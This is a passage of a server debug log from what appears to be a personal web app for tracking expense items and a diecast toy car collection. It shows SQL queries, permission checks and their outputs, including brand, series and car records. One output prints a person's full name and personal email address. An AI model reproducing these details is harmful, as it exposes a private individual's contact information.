    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T06:38:20.453Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T06:38:20.456Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T06:38:20.458Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:38:20.459Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:38:20.459Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:38:20.459Z server-connect:app Executing action step identify
2026-02-04T06:38:20.459Z server-connect:app options: { provider: 'security' }
2026-02-04T06:38:20.459Z server-connect:output identity: 1
2026-02-04T06:38:20.459Z server-connect:app Executing action step restrict
2026-02-04T06:38:20.459Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:38:20.460Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:38:20.460Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T06:38:20.460Z server-connect:output restrict: undefined
2026-02-04T06:38:20.460Z server-connect:app Executing action step single
2026-02-04T06:38:20.460Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T06:38:20.460Z server-connect:app Executing action step identify
2026-02-04T06:38:20.460Z server-connect:app options: { provider: 'security' }
2026-02-04T06:38:20.460Z server-connect:output identity: 1
2026-02-04T06:38:20.460Z server-connect:app Executing action step restrict
2026-02-04T06:38:20.460Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:38:20.461Z server-connect:app Executing action step identify
2026-02-04T06:38:20.461Z server-connect:app options: { provider: 'security' }
2026-02-04T06:38:20.461Z server-connect:output identity: 1
2026-02-04T06:38:20.461Z server-connect:app Executing action step restrict
2026-02-04T06:38:20.461Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:38:20.461Z server-connect:app Executing action step identify
2026-02-04T06:38:20.461Z server-connect:app options: { provider: 'security' }
2026-02-04T06:38:20.461Z server-connect:output identity: 1
2026-02-04T06:38:20.461Z server-connect:app Executing action step restrict
2026-02-04T06:38:20.461Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:38:20.462Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T06:38:20.462Z server-connect:app Executing action step identify
2026-02-04T06:38:20.462Z server-connect:app options: { provider: 'security' }
2026-02-04T06:38:20.462Z server-connect:output identity: 1
2026-02-04T06:38:20.462Z server-connect:app Executing action step restrict
2026-02-04T06:38:20.462Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:38:20.464Z server-connect:app Executing action step identify
2026-02-04T06:38:20.464Z server-connect:app options: { provider: 'security' }
2026-02-04T06:38:20.464Z server-connect:output identity: 1
2026-02-04T06:38:20.464Z server-connect:app Executing action step restrict
2026-02-04T06:38:20.464Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:38:20.464Z server-connect:output restrict: undefined
2026-02-04T06:38:20.464Z server-connect:app Executing action step select
2026-02-04T06:38:20.464Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:38:20.465Z server-connect:output restrict: undefined
2026-02-04T06:38:20.465Z server-connect:app Executing action step select
2026-02-04T06:38:20.465Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:38:20.466Z server-connect:output restrict: undefined
2026-02-04T06:38:20.466Z server-connect:app Executing action step paged
2026-02-04T06:38:20.466Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:38:20.467Z server-connect:output restrict: undefined
2026-02-04T06:38:20.467Z server-connect:app Executing action step select
2026-02-04T06:38:20.467Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:38:20.467Z server-connect:output restrict: undefined
2026-02-04T06:38:20.467Z server-connect:app Executing action step select
2026-02-04T06:38:20.468Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:38:20.468Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T06:38:20.469Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T06:38:20.470Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T06:38:20.471Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T06:38:20.471Z server-connect:app Executing action step select
2026-02-04T06:38:20.471Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:38:20.472Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T06:38:20.472Z server-connect:app Executing action step select
2026-02-04T06:38:20.472Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:38:20.473Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 134,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
